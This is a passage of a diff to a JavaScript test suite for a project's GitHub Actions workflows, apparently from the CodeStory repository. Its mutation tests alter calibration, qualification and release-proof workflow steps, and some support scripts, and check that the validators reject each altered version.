"full_publication_survives_restart"]); - const originalReaddir = known; - const workflows = new Map([ + const supportSources = new Map([ [ - "fixture.yml", - parseWorkflow(` -on: { workflow_dispatch: null } -permissions: { contents: read } -jobs: - proof: - timeout-minutes: 5 - steps: - - run: | - cargo test --locked -p demo-crate --lib publication_survives - cargo test --locked -p demo-crate --lib -- --exact tests::demo_tests::full_publication_survives_restart - cargo test --locked -p demo-crate --target \${{ matrix.rust_target }} --lib tests - cargo test --locked -p demo-crate --lib publication_survives -- --test-threads 1 -`), + "scripts/release-evidence/guest-runner.sh", + readFileSync(path.join(root, "scripts/release-evidence/guest-runner.sh"), "utf8"), + ], + [ + ".github/scripts/check-linux-glibc-baseline.sh", + readFileSync(path.join(root, ".github/scripts/check-linux-glibc-baseline.sh"), "utf8"), + ], + [ + "scripts/release-evidence/guest-verify.sh", + readFileSync(path.join(root, "scripts/release-evidence/guest-verify.sh"), "utf8"), ], ]); - // Substring semantics: `publication_survives` legitimately selects the `full_…_restart` test. - const violations = []; - validateCargoTestFilters(workflows, violations, identifiers, () => originalReaddir); - assert.deepEqual(violations, []); - - const renamed = new Set(["tests", "demo_tests", "renamed_publication_check"]); - const afterRename = []; - validateCargoTestFilters(workflows, afterRename, identifiers, () => renamed); - assert.match(afterRename.join("\n"), /selects no test: publication_survives/u); - assert.match(afterRename.join("\n"), /selects no test: full_publication_survives_restart/u); -}); - -test("third-party action policy reads only parsed uses values", () => { - const valid = parseWorkflow(` -on: { workflow_dispatch: null } -permissions: { contents: read } -jobs: - check: - timeout-minutes: 5 - steps: - - uses: vendor/action@${fullSha} -# uses: vendor/action@main -`); - assert.deepEqual(basicWorkflowViolations("fixture.yml", valid), []); - - const invalid = structuredClone(valid); - invalid.jobs.check.steps[0].uses = "vendor/action@main"; - assert.match(basicWorkflowViolations("fixture.yml", invalid).join("\n"), /full-length SHA/u); -}); - -test("release authority accepts only exact live auto-main or manual-dev routes", async (t) => { - const auto = { - EXPECTED_HEAD_SHA: "", - GITHUB_EVENT_NAME: "push", - GITHUB_REF: "refs/heads/main", - GITHUB_SHA: fullSha, - GITHUB_WORKFLOW_REF: "TheGreenCedar/CodeStory/.github/workflows/auto-release.yml@refs/heads/main", - PUBLISH_RELEASE: "true", - }; - const manual = { - EXPECTED_HEAD_SHA: fullSha, - GITHUB_EVENT_NAME: "workflow_dispatch", - GITHUB_REF: "refs/heads/dev/codestory-next", - GITHUB_SHA: fullSha, - GITHUB_WORKFLOW_REF: "TheGreenCedar/CodeStory/.github/workflows/release.yml@refs/heads/dev/codestory-next", - PUBLISH_RELEASE: "", - }; - - await t.test("trusted auto push on live main", () => { - const result = runReleaseAuthority(auto); - assert.equal(result.status, 0, result.stderr || result.stdout); - }); - await t.test("manual proof on exact live dev", () => { - const result = runReleaseAuthority(manual); - assert.equal(result.status, 0, result.stderr || result.stdout); - }); - await t.test("manual event cannot claim publication", () => { - const result = runReleaseAuthority({ ...manual, PUBLISH_RELEASE: "true" }); - assert.notEqual(result.status, 0); - assert.match(result.stdout, /Publication authority requires the trusted reusable-workflow caller/u); + await t.test("runner service re-enables CPU", () => { + const mutated = new Map(supportSources); + mutated.set( + "scripts/release-evidence/guest-runner.sh", + mutated.get("scripts/release-evidence/guest-runner.sh") + .replace("CODESTORY_EMBED_ALLOW_CPU=0", "CODESTORY_EMBED_ALLOW_CPU=1"), + ); + assert.match( + releaseProofCpuSelectorViolations(loadWorkflows(), graph, mutated).join("\n"), + /guest-runner\.sh contains a CPU proof selector/u, + ); }); - await t.test("wrong automatic caller is rejected", () => { - const result = runReleaseAuthority({ - ...auto, - GITHUB_WORKFLOW_REF: "TheGreenCedar/CodeStory/.github/workflows/rogue.yml@refs/heads/main", + for (const [shape, assignment] of [ + ["arithmetic", "CODESTORY_EMBED_ALLOW_CPU=$((1))"], + ["command substitution", "CODESTORY_EMBED_ALLOW_CPU=$(printf 1)"], + ]) { + await t.test(`runner service re-enables CPU through ${shape}`, () => { + const mutated = new Map(supportSources); + mutated.set( + "scripts/release-evidence/guest-runner.sh", + mutated.get("scripts/release-evidence/guest-runner.sh") + .replace("CODESTORY_EMBED_ALLOW_CPU=0", assignment), + ); + assert.match( + releaseProofCpuSelectorViolations(loadWorkflows(), graph, mutated).join("\n"), + /guest-runner\.sh contains a CPU proof selector/u, + ); }); - assert.notEqual(result.status, 0); + } + await t.test("glibc smoke re-enables CPU", () => { + const mutated = new Map(supportSources); + mutated.set( + ".github/scripts/check-linux-glibc-baseline.sh", + mutated.get(".github/scripts/check-linux-glibc-baseline.sh") + .replace("CODESTORY_EMBED_ALLOW_CPU=0", "CODESTORY_EMBED_ALLOW_CPU=1"), + ); + assert.match( + releaseProofCpuSelectorViolations(loadWorkflows(), graph, mutated).join("\n"), + /check-linux-glibc-baseline\.sh contains a CPU proof selector/u, + ); }); - await t.test("stale main is rejected", () => { - const result = runReleaseAuthority(auto, "2".repeat(40)); - assert.notEqual(result.status, 0); - assert.match(result.stdout, /main moved from release head/u); - }); - await t.test("wrong manual SHA is rejected", () => { - const result = runReleaseAuthority({ ...manual, EXPECTED_HEAD_SHA: "2".repeat(40) }); - assert.notEqual(result.status, 0); - assert.match(result.stdout, /does not match workflow head/u); - }); - await t.test("stale dev is rejected", () => { - const result = runReleaseAuthority(manual, "2".repeat(40)); - assert.notEqual(result.status, 0); - assert.match(result.stdout, /dev\/codestory-next moved from proved head/u); + await t.test("runner verification stops proving CPU disabled", () => { + const mutated = new Map(supportSources); + mutated.set( + "scripts/release-evidence/guest-verify.sh", + mutated.get("scripts/release-evidence/guest-verify.sh") + .replace('grep -qxF "CODESTORY_EMBED_ALLOW_CPU=0"', "grep -qxF ignored"), + ); + assert.match( + releaseProofCpuSelectorViolations(loadWorkflows(), graph, mutated).join("\n"), + /guest-verify\.sh must prove CPU is disabled/u, + ); }); }); -test("proof resolvers reject hostile refs, SHAs, and labeled-event drift before proof work", async (t) => { - const otherSha = "2".repeat(40); - const sourceEnvironment = { - PR_NUMBER: "1230", - EXPECTED_HEAD_SHA: fullSha, - CALLER_REF: "", - EVENT_PR_NUMBER: "", - EVENT_HEAD_SHA: "", - EVENT_HEAD_REPO: "", - GITHUB_EVENT_NAME: "workflow_dispatch", - GITHUB_SHA: fullSha, - }; - await t.test("source PR dispatch", () => { - const rejected = runResolver("source-proof.yml", "resolve", { - ...sourceEnvironment, - GITHUB_REF: "refs/heads/main", - }); - assert.notEqual(rejected.status, 0); - assert.match(rejected.stdout, /--ref codex\/exact-head/u); - - const wrongSha = runResolver("source-proof.yml", "resolve", { - ...sourceEnvironment, - GITHUB_REF: "refs/heads/codex/exact-head", - GITHUB_SHA: otherSha, - }); - assert.notEqual(wrongSha.status, 0); - assert.match(wrongSha.stdout, /Workflow SHA .* is not reviewed PR head/u); +test("constant calibration structure rejects qualification, 3x3 sampling, repeated setup, and Linux gating", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const metalFile = "macos-metal-proof.yml"; + const coordinatorFile = "packaged-platform-pr.yml"; + const collector = workflow => draftStep( + workflow.jobs["packaged-metal"], + "Collect three independent Metal constant calibration runs", + ); + const metalPreflight = workflow => draftStep( + workflow.jobs["packaged-metal"], + "Validate unfrozen Metal calibration source", + ); + const nativeBuild = workflow => draftStep( + workflow.jobs["packaged-metal"], + "Build and package native CLI", + ); + const metalTiming = workflow => draftStep( + workflow.jobs["packaged-metal"], + "Publish Metal constant calibration timing", + ); + const linuxCollector = workflow => draftStep( + workflow.jobs["optional-constant-calibration"], + "Collect optional Linux Vulkan constant calibration", + ); + const linuxNativeBuild = workflow => draftStep( + workflow.jobs["optional-constant-calibration"], + "Build and package native CLI and constant driver", + ); + const assembly = workflow => workflow.jobs["calibration-assemble"]; + const assemblyStep = workflow => draftStep( + assembly(workflow), + "Assemble frozen calibration candidate", + ); - const accepted = runResolver("source-proof.yml", "resolve", { - ...sourceEnvironment, - GITHUB_REF: "refs/heads/codex/exact-head", + const mutations = [ + ["frozen calibration source is checked after compilation", metalFile, workflow => { + const job = workflow.jobs["packaged-metal"]; + const [preflight] = job.steps.splice( + job.steps.findIndex(step => step.name === "Validate unfrozen Metal calibration source"), + 1, + ); + job.steps.splice( + job.steps.findIndex(step => step.name === "Build and package native CLI") + 1, + 0, + preflight, + ); + }, /reject a frozen or stale calibration source immediately after checkout/u], + ["frozen calibration source preflight becomes advisory", metalFile, workflow => { + metalPreflight(workflow)["continue-on-error"] = true; + }, /reject a frozen or stale calibration source immediately after checkout/u], + ["frozen calibration source preflight checks a copy", metalFile, workflow => { + metalPreflight(workflow).run = metalPreflight(workflow).run.replace( + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json", + "target/per-user-embedding-server-constant-set.json", + ); + }, /reject a frozen or stale calibration source immediately after checkout/u], + ["stale freeze record preflight is removed", metalFile, workflow => { + metalPreflight(workflow).run = metalPreflight(workflow).run + .split("\n") + .filter(line => !line.includes(".freeze_record")) + .join("\n"); + }, /reject a frozen or stale calibration source immediately after checkout/u], + ["qualification scenario enters calibration", metalFile, workflow => { + collector(workflow).run += "\n--qualification-scenario lifecycle"; + }, /without full qualification or nested sampling/u], + ["fault evidence enters calibration", metalFile, workflow => { + collector(workflow).run += "\n--publication-fault-evidence target/fault.json"; + }, /without full qualification or nested sampling/u], + ["quality evidence enters calibration", metalFile, workflow => { + collector(workflow).run += "\n--retrieval-quality-evidence target/quality.json"; + }, /without full qualification or nested sampling/u], + ["full qualification producer enters calibration", metalFile, workflow => { + collector(workflow).run += "\n--produce-qualification-evidence"; + }, /without full qualification or nested sampling/u], + ["full qualification driver executes during calibration", metalFile, workflow => { + collector(workflow).run += + "\ntarget/release/codestory_embedding_qualification --project target/calibration-project"; + }, /reviewed protected Metal workflow structure/u], + ["shell-concatenated qualification producer enters calibration", metalFile, workflow => { + collector(workflow).run = collector(workflow).run.replace( + "--out-dir target/calibration-proof/macos", + '--produce-"qualification-evidence" \\\n --out-dir target/calibration-proof/macos', + ); + }, /without full qualification or nested sampling/u], + ["shell-concatenated qualification evidence enters calibration", metalFile, workflow => { + collector(workflow).run = collector(workflow).run.replace( + "--out-dir target/calibration-proof/macos", + '--qualification-"evidence" target/qualification.json \\\n --out-dir target/calibration-proof/macos', + ); + }, /without full qualification or nested sampling/u], + ["shell-concatenated fault evidence enters calibration", metalFile, workflow => { + collector(workflow).run = collector(workflow).run.replace( + "--out-dir target/calibration-proof/macos", + '--publication-"fault-evidence" target/fault.json \\\n --out-dir target/calibration-proof/macos', + ); + }, /without full qualification or nested sampling/u], + ["3x3 sampling is requested", metalFile, workflow => { + collector(workflow).run += "\n--samples-per-metric 3"; + }, /without full qualification or nested sampling/u], + ["outer run loop returns", metalFile, workflow => { + collector(workflow).run = `for run_index in 1 2 3; do\n${collector(workflow).run}\ndone`; + }, /without full qualification or nested sampling/u], + ["renamed outer run loop returns", metalFile, workflow => { + collector(workflow).run = `for attempt in 1 2 3; do\n${collector(workflow).run}\ndone`; + }, /without full qualification or nested sampling/u], + ["brace-expanded outer run loop returns", metalFile, workflow => { + collector(workflow).run = `for attempt in {1..3}; do\n${collector(workflow).run}\ndone`; + }, /without full qualification or nested sampling/u], + ["collector is invoked twice", metalFile, workflow => { + collector(workflow).run += `\n${collector(workflow).run}`; + }, /without full qualification or nested sampling/u], + ["Metal collector accepts a checkout project", metalFile, workflow => { + collector(workflow).run += "\n--project \"$GITHUB_WORKSPACE\""; + }, /synthetic-project constant collector/u], + ["Metal collector accepts a plugin root", metalFile, workflow => { + collector(workflow).run += "\n--plugin-root plugins\/codestory"; + }, /synthetic-project constant collector/u], + ["Metal collector accepts a plugin handoff", metalFile, workflow => { + collector(workflow).run += "\n--plugin-handoff"; + }, /synthetic-project constant collector/u], + ["Metal proof output enters retained calibration root", metalFile, workflow => { + collector(workflow).run = collector(workflow).run.replace( + "--out-dir target/calibration-proof/macos", + "--out-dir target/calibration-runs/macos/proof", + ); + }, /must run --out-dir target\/calibration-proof\/macos/u], + ["Cargo build repeats", metalFile, workflow => { + nativeBuild(workflow).run += '\ncargo build --release --locked "${cargo_args[@]}"'; + }, /one shared Cargo invocation and package once/u], + ["package repeats", metalFile, workflow => { + nativeBuild(workflow).run += "\npython3 .github/scripts/package-codestory-release.py --version 0.0.0"; + }, /one shared Cargo invocation and package once/u], + ["model preparation repeats", metalFile, workflow => { + workflow.jobs["packaged-metal"].steps.push({ + name: "Prepare model again", + run: "node scripts/prepare-embedded-model.mjs", + }); + }, /one shared Cargo invocation and package once/u], + ["Cargo build repeats in a separate step", metalFile, workflow => { + workflow.jobs["packaged-metal"].steps.push({ + name: "Build native CLI again", + shell: "bash", + run: "cargo build --release --locked -p codestory-cli", + }); + }, /one shared Cargo invocation and package once/u], + ["packaging repeats in a separate step", metalFile, workflow => { + workflow.jobs["packaged-metal"].steps.push({ + name: "Package native CLI again", + shell: "bash", + run: "python3 .github/scripts/package-codestory-release.py --version 0.16.3", + }); + }, /one shared Cargo invocation and package once/u], + ["shell-concatenated model preparation repeats", metalFile, workflow => { + workflow.jobs["packaged-metal"].steps.push({ + name: "Prepare model material again", + shell: "bash", + run: 'node scripts/prepare-"embedded-model".mjs', + }); + }, /one shared Cargo invocation and package once/u], + ["complete packaged calibration harness repeats", metalFile, workflow => { + const repeated = collector(workflow).run + .replaceAll("target/calibration-runs/macos", "target/calibration-runs/macos-again") + .replaceAll("target/calibration-proof/macos", "target/calibration-proof/macos-again"); + workflow.jobs["packaged-metal"].steps.push({ + name: "Collect constant calibration again", + shell: "bash", + run: repeated, + }); + }, /one shared Cargo invocation and package once/u], + ["shared build and package timing loses its output identity", metalFile, workflow => { + delete nativeBuild(workflow).id; + }, /one shared Cargo invocation and package once/u], + ["shared build and package timing is not measured once", metalFile, workflow => { + nativeBuild(workflow).run = nativeBuild(workflow).run.replace( + "build_package_finished_ns=\"$(python3 -c 'import time; print(time.monotonic_ns())')\"", + "build_package_finished_ns=\"$build_package_started_ns\"", + ); + }, /one shared Cargo invocation and package once/u], + ["calibration total clock loses its output identity", metalFile, workflow => { + delete draftStep( + workflow.jobs["packaged-metal"], + "Start Metal constant calibration clock", + ).id; + }, /time model preparation and total wall time/u], + ["model preparation loses measured duration", metalFile, workflow => { + const model = draftStep( + workflow.jobs["packaged-metal"], + "Prepare checksum-pinned embedded model", + ); + model.run = model.run.replace( + "model_prepare_finished_ns=\"$(python3 -c 'import time; print(time.monotonic_ns())')\"", + "model_prepare_finished_ns=\"$model_prepare_started_ns\"", + ); + }, /time model preparation and total wall time/u], + ["timing summary loses shared build and package duration", metalFile, workflow => { + metalTiming(workflow).env.BUILD_PACKAGE_DURATION_MS = "0"; + }, /shared build\/package and five-phase collector timing/u], + ["timing summary loses model preparation duration", metalFile, workflow => { + metalTiming(workflow).env.MODEL_PREPARATION_DURATION_MS = "0"; + }, /shared build\/package and five-phase collector timing/u], + ["timing summary weakens the ten-minute target", metalFile, workflow => { + metalTiming(workflow).run = metalTiming(workflow).run.replace( + 'test "$calibration_total_ms" -lt 600000', + 'test "$calibration_total_ms" -lt 900000', + ); + }, /shared build\/package and five-phase collector timing/u], + ["timing summary is not published", metalFile, workflow => { + metalTiming(workflow).run = metalTiming(workflow).run.replace( + "$GITHUB_STEP_SUMMARY", + "$IGNORED_SUMMARY", + ); + }, /shared build\/package and five-phase collector timing/u], + ...[ + "archive_authentication_unpack_ms", + "project_and_request_setup_ms", + "measurement_ms", + "retention_validation_ms", + "end_to_end_ms", + ].map(field => [ + `timing summary drops ${field}`, + metalFile, + workflow => { + metalTiming(workflow).run = metalTiming(workflow).run.replaceAll( + field, + "omitted_timing_value", + ); + }, + /shared build\/package and five-phase collector timing/u, + ]), + ["Linux collector accepts a checkout project", "linux-vulkan-proof.yml", workflow => { + linuxCollector(workflow).run += "\n--project \"$GITHUB_WORKSPACE\""; + }, /synthetic project without qualification/u], + ["Linux collector accepts a plugin root", "linux-vulkan-proof.yml", workflow => { + linuxCollector(workflow).run += "\n--plugin-root plugins\/codestory"; + }, /synthetic project without qualification/u], + ["Linux collector accepts a plugin handoff", "linux-vulkan-proof.yml", workflow => { + linuxCollector(workflow).run += "\n--plugin-handoff"; + }, /synthetic project without qualification/u], + ["Linux proof output enters retained calibration root", "linux-vulkan-proof.yml", workflow => { + linuxCollector(workflow).run = linuxCollector(workflow).run.replace( + "--out-dir target/calibration-proof/linux-vulkan", + "--out-dir target/calibration-runs/linux-vulkan/proof", + ); + }, /must run --out-dir target\/calibration-proof\/linux-vulkan/u], + ["Linux diagnostic upload drops disjoint proof output", "linux-vulkan-proof.yml", workflow => { + const upload = draftStep( + workflow.jobs["optional-constant-calibration"], + "Upload optional Linux Vulkan calibration evidence", + ); + upload.with.path = upload.with.path.replace( + "target/calibration-proof/linux-vulkan", + "", + ); + }, /must upload attempt-scoped non-selecting evidence/u], + ["Linux calibration restores a direct dispatch", "linux-vulkan-proof.yml", workflow => { + workflow.on.workflow_dispatch = { inputs: {} }; + }, /coordinator-only and not directly dispatchable/u], + ["Linux calibration downloads an independently built package", "linux-vulkan-proof.yml", workflow => { + workflow.jobs["optional-constant-calibration"].steps.splice(5, 0, { + name: "Download exact Linux package", + uses: "actions/download-artifact@v8.0.1", + with: { + name: "codestory-cli-linux-x64", + "run-id": "${{ inputs.package_run_id }}", + }, + }); + }, /prepare once, build CLI and collector once, and package that exact CLI once/u], + ["Linux calibration reads package_run_id", "linux-vulkan-proof.yml", workflow => { + linuxNativeBuild(workflow).env.PACKAGE_RUN_ID = "${{ inputs.package_run_id }}"; + }, /prepare once, build CLI and collector once, and package that exact CLI once/u], + ["Linux calibration repeats Cargo build", "linux-vulkan-proof.yml", workflow => { + linuxNativeBuild(workflow).run += "\ncargo build --release --locked -p codestory-bench"; + }, /prepare once, build CLI and collector once, and package that exact CLI once/u], + ["Linux calibration repeats packaging", "linux-vulkan-proof.yml", workflow => { + linuxNativeBuild(workflow).run += "\npython .github/scripts/package-codestory-release.py --version 0.0.0"; + }, /prepare once, build CLI and collector once, and package that exact CLI once/u], + ["Linux calibration omits the runtime binary", "linux-vulkan-proof.yml", workflow => { + linuxNativeBuild(workflow).run = linuxNativeBuild(workflow).run.replace( + "--bin codestory-cli-runtime", + "", + ); + }, /prepare once, build CLI and collector once, and package that exact CLI once/u], + ["Linux calibration repeats model preparation", "linux-vulkan-proof.yml", workflow => { + workflow.jobs["optional-constant-calibration"].steps.push({ + name: "Prepare model again", + run: "node scripts/prepare-embedded-model.mjs", + }); + }, /prepare once, build CLI and collector once, and package that exact CLI once/u], + ["assembly waits for Linux", coordinatorFile, workflow => { + assembly(workflow).needs.push("calibration-linux"); + }, /wait only for required protected macOS Metal evidence/u], + ["assembly condition waits for Linux", coordinatorFile, workflow => { + assembly(workflow).if += " && needs.calibration-linux.result == 'success'"; + }, /wait only for required protected macOS Metal evidence/u], + ["assembly condition waits on an optional Vulkan variable", coordinatorFile, workflow => { + assembly(workflow).if += " && vars.OPTIONAL_VULKAN_READY == 'true'"; + }, /wait only for required protected macOS Metal evidence/u], + ["assembly downloads Linux evidence", coordinatorFile, workflow => { + assembly(workflow).steps.splice(1, 0, { + name: "Download optional Linux evidence", + uses: "actions/download-artifact@v8.0.1", + with: { + name: "optional-embedding-calibration-linux-vulkan", + path: "target/calibration-inputs/linux", + }, + }); + }, /must not select, discover, or gate on Linux evidence/u], + ["assembly requires wildcard optional evidence", coordinatorFile, workflow => { + assembly(workflow).steps.splice(2, 0, { + name: "Download auxiliary calibration evidence", + uses: "actions/download-artifact@v8.0.1", + with: { + pattern: "optional-embedding-calibration-*", + path: "target/auxiliary-calibration", + }, + }, { + name: "Require auxiliary calibration evidence", + shell: "bash", + run: 'test "$(find target/auxiliary-calibration -type f | wc -l | tr -d " ")" -gt 0', + }); + }, /exact protected macOS-only step boundary/u], + ["assembly can overwrite required runs with wildcard evidence", coordinatorFile, workflow => { + assembly(workflow).steps.splice(2, 0, { + name: "Download auxiliary calibration evidence", + uses: "actions/download-artifact@v8.0.1", + with: { + pattern: "optional-embedding-calibration-*", + path: "target/auxiliary-calibration", + }, + }, { + name: "Select auxiliary calibration evidence", + shell: "bash", + run: [ + 'test "$(find target/auxiliary-calibration -name "run-*.json" | wc -l | tr -d " ")" = 3', + 'find target/auxiliary-calibration -name "run-*.json" -exec cp {} target/calibration-inputs/macos/ \\;', + ].join("\n"), + }); + }, /exact protected macOS-only step boundary/u], + ["assembly broadens artifact discovery", coordinatorFile, workflow => { + assemblyStep(workflow).run = assemblyStep(workflow).run + .replace("find target/calibration-inputs/macos", "find target/calibration-inputs"); + }, /must not select, discover, or gate on Linux evidence/u], + ["assembly accepts six records", coordinatorFile, workflow => { + assemblyStep(workflow).run = assemblyStep(workflow).run + .replace('test "${#runs[@]}" = 3', 'test "${#runs[@]}" = 6'); + }, /step Assemble frozen calibration candidate must run test "\$\{#runs\[@\]\}" = 3/u], + ["assembly accepts two matrix cells", coordinatorFile, workflow => { + assemblyStep(workflow).run = assemblyStep(workflow).run + .replace(".matrix_cell_count == 1", ".matrix_cell_count == 2"); + }, /step Assemble frozen calibration candidate must run \.matrix_cell_count == 1/u], + ["an extra Linux hardware job can keep calibration from completing", coordinatorFile, workflow => { + workflow.jobs["hidden-linux-calibration-wait"] = { + needs: "route", + if: "needs.route.outputs.mode == 'calibration'", + "runs-on": ["self-hosted", "Linux", "X64", "codestory-vulkan"], + "timeout-minutes": 360, + steps: [{ name: "Wait on optional Linux", run: "true" }], + }; + }, /must retain the reviewed exact job set so no hidden hardware job can block calibration/u], + ]; + for (const [name, file, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expected); }); - assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); - }); - - await t.test("source labeled event", () => { - const environment = { - PR_NUMBER: "", - EXPECTED_HEAD_SHA: "", - CALLER_REF: "", - EVENT_PR_NUMBER: "1230", - EVENT_HEAD_SHA: fullSha, - EVENT_HEAD_REPO: "TheGreenCedar/CodeStory", - GITHUB_EVENT_NAME: "pull_request", - GITHUB_REF: "refs/pull/1230/merge", - GITHUB_SHA: fullSha, - }; - const accepted = runResolver("source-proof.yml", "resolve", environment); - assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); + } +}); - const drifted = runResolver("source-proof.yml", "resolve", { - ...environment, - EVENT_HEAD_SHA: otherSha, - }); - assert.notEqual(drifted.status, 0); - assert.match(drifted.stdout, /moved after the review-accepted label event/u); - }); +test("frozen-candidate quality stays optional, exact, and archive-authenticated", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const coordinatorFile = "packaged-platform-pr.yml"; + const qualityFile = "frozen-candidate-quality.yml"; + const metalFile = "macos-metal-proof.yml"; + const windowsFile = "windows-vulkan-proof.yml"; + const linuxFile = "linux-vulkan-proof.yml"; - const packagedEnvironment = { - INPUT_PR_NUMBER: "1230", - INPUT_HEAD_SHA: fullSha, - INPUT_MODE: "platform", - EVENT_PR_NUMBER: "", - EVENT_HEAD_SHA: "", - EVENT_HEAD_REPO: "", - INPUT_SOURCE_RUN_ID: "", - INPUT_CALIBRATION_ARTIFACT: "", - INPUT_CALIBRATION_RUN_ID: "", - GITHUB_EVENT_NAME: "workflow_dispatch", - GITHUB_SHA: fullSha, - }; - await t.test("platform PR dispatch", () => { - const rejected = runResolver("packaged-platform-pr.yml", "route", { - ...packagedEnvironment, - GITHUB_REF: "refs/heads/main", - }); - assert.notEqual(rejected.status, 0); - assert.match(rejected.stdout, /--ref codex\/exact-head/u); + const mutations = [ + ["qualification route accepts no calibration artifact", coordinatorFile, workflow => { + const resolver = draftStep(workflow.jobs.route, "Resolve trusted exact head"); + resolver.run = resolver.run.replace( + 'test -n "$INPUT_CALIBRATION_ARTIFACT"', + 'true "$INPUT_CALIBRATION_ARTIFACT"', + ); + }, /Resolve trusted exact head must run test -n "\$INPUT_CALIBRATION_ARTIFACT"|exact normalized trusted resolver/u], + ["Metal qualification becomes candidate-installed only", coordinatorFile, workflow => { + workflow.jobs["macos-metal-proof"].with.candidate_installed_proof = true; + }, /qualification must run full Metal proof rather than candidate-installed proof/u], + ["Metal qualification becomes server-behavior only", coordinatorFile, workflow => { + workflow.jobs["macos-metal-proof"].with.server_behavior_only = true; + }, /qualification must run one full Metal lifecycle proof without optional quality inputs/u], + ["Windows qualification waits for optional quality", coordinatorFile, workflow => { + workflow.jobs["windows-vulkan-proof"].needs.push("frozen-candidate-quality"); + }, /Windows qualification must run independently of optional Metal quality|reviewed frozen-candidate coordinator structure/u], + ["Windows qualification consumes optional quality", coordinatorFile, workflow => { + workflow.jobs["windows-vulkan-proof"].with.quality_evidence_artifact = + "${{ needs.frozen-candidate-quality.outputs.artifact }}"; + }, /Windows qualification must not consume optional quality evidence/u], + ["Windows qualification becomes candidate-installed only", coordinatorFile, workflow => { + workflow.jobs["windows-vulkan-proof"].with.candidate_installed_proof = true; + }, /qualification must run full Windows proof rather than candidate-installed proof/u], + ["Windows qualification becomes server-behavior only", coordinatorFile, workflow => { + workflow.jobs["windows-vulkan-proof"].with.server_behavior_only = true; + }, /qualification must run full Windows lifecycle and fault proof/u], + ["coordinator schedules Linux during qualification", coordinatorFile, workflow => { + workflow.jobs["linux-vulkan-proof"].if + = workflow.jobs["linux-vulkan-proof"].if.replace( + "needs.route.outputs.mode != 'qualification' &&", + "", + ); + }, /qualification modes must skip coordinator Linux proof/u], + ["qualification closeout blocks on Linux", coordinatorFile, workflow => { + const closeout = draftStep( + workflow.jobs.closeout, + "Require one coherent accepted proof", + ); + closeout.run = closeout.run.replace( + `if [ "$MODE" = qualification ]; then + require_result "$LINUX_VULKAN_RESULT" skipped linux-vulkan-proof + else`, + `if [ "$MODE" = qualification ]; then + require_result "$LINUX_VULKAN_RESULT" success linux-vulkan-proof + else`, + ); + }, /qualification closeout must accept skipped optional Linux proof without blocking/u], + ["qualification closeout hides the accepted Linux branch in dead code", coordinatorFile, workflow => { + const closeout = draftStep( + workflow.jobs.closeout, + "Require one coherent accepted proof", + ); + const accepted = `if [ "$MODE" = qualification ]; then + require_result "$LINUX_VULKAN_RESULT" skipped linux-vulkan-proof + else + require_result "$LINUX_VULKAN_RESULT" success linux-vulkan-proof + fi`; + closeout.run = closeout.run.replace( + accepted, + accepted.replace( + 'require_result "$LINUX_VULKAN_RESULT" skipped linux-vulkan-proof', + 'require_result "$LINUX_VULKAN_RESULT" success linux-vulkan-proof', + ), + ); + closeout.run += `\nif false; then\n${accepted}\nfi\n`; + }, /must match the reviewed coordinator closeout script exactly/u], + ["qualification closeout job is disabled", coordinatorFile, workflow => { + workflow.jobs.closeout.if = "${{ always() && false }}"; + }, /closeout job must retain its reviewed unconditional result-checking activation/u], + ["qualification closeout proof step is disabled", coordinatorFile, workflow => { + draftStep( + workflow.jobs.closeout, + "Require one coherent accepted proof", + ).if = "${{ false }}"; + }, /closeout must run one unconditional proof step under the reviewed Bash interpreter/u], + ["qualification closeout shell ignores the reviewed script", coordinatorFile, workflow => { + draftStep( + workflow.jobs.closeout, + "Require one coherent accepted proof", + ).shell = "bash -c 'true' {0}"; + }, /closeout must run one unconditional proof step under the reviewed Bash interpreter/u], + ["qualification closeout mode is rebound away from the route", coordinatorFile, workflow => { + draftStep( + workflow.jobs.closeout, + "Require one coherent accepted proof", + ).env.MODE = "qualification "; + }, /closeout proof must bind every route and platform result from the reviewed jobs exactly/u], + ["optional quality caller attempts unsupported advisory syntax", coordinatorFile, workflow => { + workflow.jobs["frozen-candidate-quality"]["continue-on-error"] = true; + }, /optional quality must call its isolated owner once after protected Metal/u], + ["optional quality owner job becomes blocking", qualityFile, workflow => { + workflow.jobs.quality["continue-on-error"] = false; + }, /optional quality must stay nonblocking on protected Metal/u], + ["optional quality runs outside qualification", coordinatorFile, workflow => { + workflow.jobs["frozen-candidate-quality"].if + = workflow.jobs["frozen-candidate-quality"].if.replace( + "needs.route.outputs.mode == 'qualification'", + "needs.route.outputs.mode == 'platform'", + ); + }, /optional quality must call its isolated owner once after protected Metal/u], + ["optional quality no longer waits for Metal", coordinatorFile, workflow => { + workflow.jobs["frozen-candidate-quality"].needs + = workflow.jobs["frozen-candidate-quality"].needs + .filter(name => name !== "macos-metal-proof"); + }, /optional quality must call its isolated owner once after protected Metal/u], + ["optional quality moves off the protected Metal host", qualityFile, workflow => { + workflow.jobs.quality["runs-on"] + = ["self-hosted", "Linux", "X64", "codestory-vulkan"]; + }, /optional quality must stay nonblocking on protected Metal/u], + ["optional quality stops authenticating the current run attempt", qualityFile, workflow => { + const authentication = draftStep( + workflow.jobs.quality, + "Authenticate exact candidate archive artifacts", + ); + authentication.run = authentication.run.replace( + 'test "$(jq -r \'.run_attempt\' <<<"$producer_run")" = "$GITHUB_RUN_ATTEMPT"', + "true", + ); + }, /authenticate one current-run exact-head candidate archive and record/u], + ["optional quality cache accepts another source SHA", qualityFile, workflow => { + const restore = draftStep( + workflow.jobs.quality, + "Restore exact candidate archive from protected host", + ); + restore.run = restore.run.replace(".source.commit == $source_sha", "true"); + }, /step Restore exact candidate archive from protected host must run \.source\.commit == \$source_sha/u], + ["optional quality archive transfer becomes unconditional", qualityFile, workflow => { + delete draftStep( + workflow.jobs.quality, + "Download, authenticate, and admit candidate archive on miss", + ).if; + }, /archive transfer must be cache-miss-only and outer-digest authenticated/u], + ["optional quality archive skips the outer digest", qualityFile, workflow => { + const miss = draftStep( + workflow.jobs.quality, + "Download, authenticate, and admit candidate archive on miss", + ); + miss.run = miss.run.replace( + 'test "$actual_digest" = "$EXPECTED_SHA256"', + "true", + ); + }, /step Download, authenticate, and admit candidate archive on miss must run test "\$actual_digest" = "\$EXPECTED_SHA256"/u], + ["optional 